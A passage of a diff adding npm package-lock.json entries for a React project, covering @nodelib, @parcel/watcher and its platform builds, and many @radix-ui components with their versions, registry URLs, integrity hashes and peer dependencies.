+ "integrity": "sha512-wDAh/gW+WFT7jPYmGEGtNeLC74D8+hu3S6YJOpcfC/6uBMSC7yjh0QW1/RPYKziVnjqe6O4jR0AhbN0uuS8CZw==",
+ "dependencies": {
+ "third-party-capital": "1.0.20"
+ },
+ "peerDependencies": {
+ "next": "^13.0.0 || ^14.0.0 || ^15.0.0",
+ "react": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0"
+ }
+ },
+ "node_modules/@nodelib/fs.scandir": {
+ "version": "2.1.5",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
+ "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
+ "dependencies": {
+ "@nodelib/fs.stat": "2.0.5",
+ "run-parallel": "^1.1.9"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/@nodelib/fs.stat": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
+ "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/@nodelib/fs.walk": {
+ "version": "1.2.8",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
+ "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
+ "dependencies": {
+ "@nodelib/fs.scandir": "2.1.5",
+ "fastq": "^1.6.0"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/@nolyfill/is-core-module": {
+ "version": "1.0.39",
+ "resolved": "https://registry.npmjs.org/@nolyfill/is-core-module/-/is-core-module-1.0.39.tgz",
+ "integrity": "sha512-nn5ozdjYQpUCZlWGuxcJY/KpxkWQs4DcbMCmKojjyrYDEAGy4Ce19NN4v5MduafTwJlbKc99UA8YhSVqq9yPZA==",
+ "engines": {
+ "node": ">=12.4.0"
+ }
+ },
+ "node_modules/@parcel/watcher": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/@parcel/watcher/-/watcher-2.5.1.tgz",
+ "integrity": "sha512-dfUnCxiN9H4ap84DvD2ubjw+3vUNpstxa0TneY/Paat8a3R4uQZDLSvWjmznAY/DoahqTHl9V46HF/Zs3F29pg==",
+ "dev": true,
+ "hasInstallScript": true,
+ "optional": true,
+ "dependencies": {
+ "detect-libc": "^1.0.3",
+ "is-glob": "^4.0.3",
+ "micromatch": "^4.0.5",
+ "node-addon-api": "^7.0.0"
+ },
+ "engines": {
+ "node": ">= 10.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/parcel"
+ },
+ "optionalDependencies": {
+ "@parcel/watcher-android-arm64": "2.5.1",
+ "@parcel/watcher-darwin-arm64": "2.5.1",
+ "@parcel/watcher-darwin-x64": "2.5.1",
+ "@parcel/watcher-freebsd-x64": "2.5.1",
+ "@parcel/watcher-linux-arm-glibc": "2.5.1",
+ "@parcel/watcher-linux-arm-musl": "2.5.1",
+ "@parcel/watcher-linux-arm64-glibc": "2.5.1",
+ "@parcel/watcher-linux-arm64-musl": "2.5.1",
+ "@parcel/watcher-linux-x64-glibc": "2.5.1",
+ "@parcel/watcher-linux-x64-musl": "2.5.1",
+ "@parcel/watcher-win32-arm64": "2.5.1",
+ "@parcel/watcher-win32-ia32": "2.5.1",
+ "@parcel/watcher-win32-x64": "2.5.1"
+ }
+ },
+ "node_modules/@parcel/watcher-android-arm64": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.1.tgz",
+ "integrity": "sha512-KF8+j9nNbUN8vzOFDpRMsaKBHZ/mcjEjMToVMJOhTozkDonQFFrRcfdLWn6yWKCmJKmdVxSgHiYvTCef4/qcBA==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">= 10.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/parcel"
+ }
+ },
+ "node_modules/@parcel/watcher-darwin-arm64": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.1.tgz",
+ "integrity": "sha512-eAzPv5osDmZyBhou8PoF4i6RQXAfeKL9tjb3QzYuccXFMQU0ruIc/POh30ePnaOyD1UXdlKguHBmsTs53tVoPw==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">= 10.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/parcel"
+ }
+ },
+ "node_modules/@parcel/watcher-darwin-x64": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.1.tgz",
+ "integrity": "sha512-1ZXDthrnNmwv10A0/3AJNZ9JGlzrF82i3gNQcWOzd7nJ8aj+ILyW1MTxVk35Db0u91oD5Nlk9MBiujMlwmeXZg==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">= 10.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/parcel"
+ }
+ },
+ "node_modules/@parcel/watcher-freebsd-x64": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.1.tgz",
+ "integrity": "sha512-SI4eljM7Flp9yPuKi8W0ird8TI/JK6CSxju3NojVI6BjHsTyK7zxA9urjVjEKJ5MBYC+bLmMcbAWlZ+rFkLpJQ==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "engines": {
+ "node": ">= 10.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/parcel"
+ }
+ },
+ "node_modules/@parcel/watcher-linux-arm-glibc": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.1.tgz",
+ "integrity": "sha512-RCdZlEyTs8geyBkkcnPWvtXLY44BCeZKmGYRtSgtwwnHR4dxfHRG3gR99XdMEdQ7KeiDdasJwwvNSF5jKtDwdA==",
+ "cpu": [
+ "arm"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/parcel"
+ }
+ },
+ "node_modules/@parcel/watcher-linux-arm-musl": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.1.tgz",
+ "integrity": "sha512-6E+m/Mm1t1yhB8X412stiKFG3XykmgdIOqhjWj+VL8oHkKABfu/gjFj8DvLrYVHSBNC+/u5PeNrujiSQ1zwd1Q==",
+ "cpu": [
+ "arm"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/parcel"
+ }
+ },
+ "node_modules/@parcel/watcher-linux-arm64-glibc": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.1.tgz",
+ "integrity": "sha512-LrGp+f02yU3BN9A+DGuY3v3bmnFUggAITBGriZHUREfNEzZh/GO06FF5u2kx8x+GBEUYfyTGamol4j3m9ANe8w==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/parcel"
+ }
+ },
+ "node_modules/@parcel/watcher-linux-arm64-musl": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.1.tgz",
+ "integrity": "sha512-cFOjABi92pMYRXS7AcQv9/M1YuKRw8SZniCDw0ssQb/noPkRzA+HBDkwmyOJYp5wXcsTrhxO0zq1U11cK9jsFg==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/parcel"
+ }
+ },
+ "node_modules/@parcel/watcher-linux-x64-glibc": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.1.tgz",
+ "integrity": "sha512-GcESn8NZySmfwlTsIur+49yDqSny2IhPeZfXunQi48DMugKeZ7uy1FX83pO0X22sHntJ4Ub+9k34XQCX+oHt2A==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/parcel"
+ }
+ },
+ "node_modules/@parcel/watcher-linux-x64-musl": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.1.tgz",
+ "integrity": "sha512-n0E2EQbatQ3bXhcH2D1XIAANAcTZkQICBPVaxMeaCVBtOpBZpWJuf7LwyWPSBDITb7In8mqQgJ7gH8CILCURXg==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/parcel"
+ }
+ },
+ "node_modules/@parcel/watcher-win32-arm64": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.1.tgz",
+ "integrity": "sha512-RFzklRvmc3PkjKjry3hLF9wD7ppR4AKcWNzH7kXR7GUe0Igb3Nz8fyPwtZCSquGrhU5HhUNDr/mKBqj7tqA2Vw==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">= 10.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/parcel"
+ }
+ },
+ "node_modules/@parcel/watcher-win32-ia32": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.1.tgz",
+ "integrity": "sha512-c2KkcVN+NJmuA7CGlaGD1qJh1cLfDnQsHjE89E60vUEMlqduHGCdCLJCID5geFVM0dOtA3ZiIO8BoEQmzQVfpQ==",
+ "cpu": [
+ "ia32"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">= 10.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/parcel"
+ }
+ },
+ "node_modules/@parcel/watcher-win32-x64": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.1.tgz",
+ "integrity": "sha512-9lHBdJITeNR++EvSQVUcaZoWupyHfXe1jZvGZ06O/5MflPcuPLtEphScIBL+AiCWBO46tDSHzWyD0uDmmZqsgA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">= 10.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/parcel"
+ }
+ },
+ "node_modules/@parcel/watcher/node_modules/detect-libc": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz",
+ "integrity": "sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg==",
+ "dev": true,
+ "optional": true,
+ "bin": {
+ "detect-libc": "bin/detect-libc.js"
+ },
+ "engines": {
+ "node": ">=0.10"
+ }
+ },
+ "node_modules/@pkgjs/parseargs": {
+ "version": "0.11.0",
+ "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz",
+ "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==",
+ "optional": true,
+ "engines": {
+ "node": ">=14"
+ }
+ },
+ "node_modules/@radix-ui/number": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@radix-ui/number/-/number-1.1.0.tgz",
+ "integrity": "sha512-V3gRzhVNU1ldS5XhAPTom1fOIo4ccrjjJgmE+LI2h/WaFpHmx0MQApT+KZHnx8abG6Avtfcz4WoEciMnpFT3HQ=="
+ },
+ "node_modules/@radix-ui/primitive": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.1.tgz",
+ "integrity": "sha512-SJ31y+Q/zAyShtXJc8x83i9TYdbAfHZ++tUZnvjJJqFjzsdUnKsxPL6IEtBlxKkU7yzer//GQtZSV4GbldL3YA=="
+ },
+ "node_modules/@radix-ui/react-accordion": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-accordion/-/react-accordion-1.2.2.tgz",
+ "integrity": "sha512-b1oh54x4DMCdGsB4/7ahiSrViXxaBwRPotiZNnYXjLha9vfuURSAZErki6qjDoSIV0eXx5v57XnTGVtGwnfp2g==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-collapsible": "1.1.2",
+ "@radix-ui/react-collection": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-direction": "1.1.0",
+ "@radix-ui/react-id": "1.1.0",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-controllable-state": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-alert-dialog": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-alert-dialog/-/react-alert-dialog-1.1.3.tgz",
+ "integrity": "sha512-5xzWppXTNZe6zFrTTwAJIoMJeZmdFe0l8ZqQrPGKAVvhdyOWR4r53/G7SZqx6/uf1J441oxK7GzmTkrrWDroHA==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-dialog": "1.1.3",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-slot": "1.1.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-arrow": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-arrow/-/react-arrow-1.1.1.tgz",
+ "integrity": "sha512-NaVpZfmv8SKeZbn4ijN2V3jlHA9ngBG16VnIIm22nUR0Yk8KUALyBxT3KYEUnNuch9sTE8UTsS3whzBgKOL30w==",
+ "dependencies": {
+ "@radix-ui/react-primitive": "2.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-aspect-ratio": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-aspect-ratio/-/react-aspect-ratio-1.1.1.tgz",
+ "integrity": "sha512-kNU4FIpcFMBLkOUcgeIteH06/8JLBcYY6Le1iKenDGCYNYFX3TQqCZjzkOsz37h7r94/99GTb7YhEr98ZBJibw==",
+ "dependencies": {
+ "@radix-ui/react-primitive": "2.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-avatar": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-avatar/-/react-avatar-1.1.2.tgz",
+ "integrity": "sha512-GaC7bXQZ5VgZvVvsJ5mu/AEbjYLnhhkoidOboC50Z6FFlLA03wG2ianUoH+zgDQ31/9gCF59bE4+2bBgTyMiig==",
+ "dependencies": {
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-callback-ref": "1.1.0",
+ "@radix-ui/react-use-layout-effect": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-checkbox": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-checkbox/-/react-checkbox-1.1.3.tgz",
+ "integrity": "sha512-HD7/ocp8f1B3e6OHygH0n7ZKjONkhciy1Nh0yuBgObqThc3oyx+vuMfFHKAknXRHHWVE9XvXStxJFyjUmB8PIw==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-presence": "1.1.2",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-controllable-state": "1.1.0",
+ "@radix-ui/react-use-previous": "1.1.0",
+ "@radix-ui/react-use-size": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-collapsible": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-collapsible/-/react-collapsible-1.1.2.tgz",
+ "integrity": "sha512-PliMB63vxz7vggcyq0IxNYk8vGDrLXVWw4+W4B8YnwI1s18x7YZYqlG9PLX7XxAJUi0g2DxP4XKJMFHh/iVh9A==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-id": "1.1.0",
+ "@radix-ui/react-presence": "1.1.2",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-controllable-state": "1.1.0",
+ "@radix-ui/react-use-layout-effect": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-collection": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.1.1.tgz",
+ "integrity": "sha512-LwT3pSho9Dljg+wY2KN2mrrh6y3qELfftINERIzBUO9e0N+t0oMTyn3k9iv+ZqgrwGkRnLpNJrsMv9BZlt2yuA==",
+ "dependencies": {
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-slot": "1.1.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-compose-refs": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.1.tgz",
+ "integrity": "sha512-Y9VzoRDSJtgFMUCoiZBDVo084VQ5hfpXxVE+NgkdNsjiDBByiImMZKKhxMwCbdHvhlENG6a833CbFkOQvTricw==",
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-context": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.1.tgz",
+ "integrity": "sha512-UASk9zi+crv9WteK/NU4PLvOoL3OuE6BWVKNF6hPRBtYBDXQ2u5iu3O59zUlJiTVvkyuycnqrztsHVJwcK9K+Q==",
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-context-menu": {
+ "version": "2.2.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-context-menu/-/react-context-menu-2.2.3.tgz",
+ "integrity": "sha512-i4ZjZNoiAKwxcaKBR5XdiOyEJQdBT4P6TeMtzP4fjlcDJpxwIcmmWkdd13YEzCHHcWYZOyl7fVHKT8dFMHdo3w==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-menu": "2.1.3",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-callback-ref": "1.1.0",
+ "@radix-ui/react-use-controllable-state": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-dialog": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-dialog/-/react-dialog-1.1.3.tgz",
+ "integrity": "sha512-ujGvqQNkZ0J7caQyl8XuZRj2/TIrYcOGwqz5TeD1OMcCdfBuEMP0D12ve+8J5F9XuNUth3FAKFWo/wt0E/GJrQ==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-dismissable-layer": "1.1.2",
+ "@radix-ui/react-focus-guards": "1.1.1",
+ "@radix-ui/react-focus-scope": "1.1.1",
+ "@radix-ui/react-id": "1.1.0",
+ "@radix-ui/react-portal": "1.1.3",
+ "@radix-ui/react-presence": "1.1.2",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-slot": "1.1.1",
+ "@radix-ui/react-use-controllable-state": "1.1.0",
+ "aria-hidden": "^1.1.1",
+ "react-remove-scroll": "2.6.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-direction": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.1.0.tgz",
+ "integrity": "sha512-BUuBvgThEiAXh2DWu93XsT+a3aWrGqolGlqqw5VU1kG7p/ZH2cuDlM1sRLNnY3QcBS69UIz2mcKhMxDsdewhjg==",
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-dismissable-layer": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.1.2.tgz",
+ "integrity": "sha512-kEHnlhv7wUggvhuJPkyw4qspXLJOdYoAP4dO2c8ngGuXTq1w/HZp1YeVB+NQ2KbH1iEG+pvOCGYSqh9HZOz6hg==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-callback-ref": "1.1.0",
+ "@radix-ui/react-use-escape-keydown": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-dropdown-menu": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-dropdown-menu/-/react-dropdown-menu-2.1.3.tgz",
+ "integrity": "sha512-eKyAfA9e4HOavzyGJC6kiDIlHMPzAU0zqSqTg+VwS0Okvb9nkTo7L4TugkCUqM3I06ciSpdtYQ73cgB7tyUgVw==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-id": "1.1.0",
+ "@radix-ui/react-menu": "2.1.3",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-controllable-state": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-focus-guards": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-guards/-/react-focus-guards-1.1.1.tgz",
+ "integrity": "sha512-pSIwfrT1a6sIoDASCSpFwOasEwKTZWDw/iBdtnqKO7v6FeOzYJ7U53cPzYFVR3geGGXgVHaH+CdngrrAzqUGxg==",
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
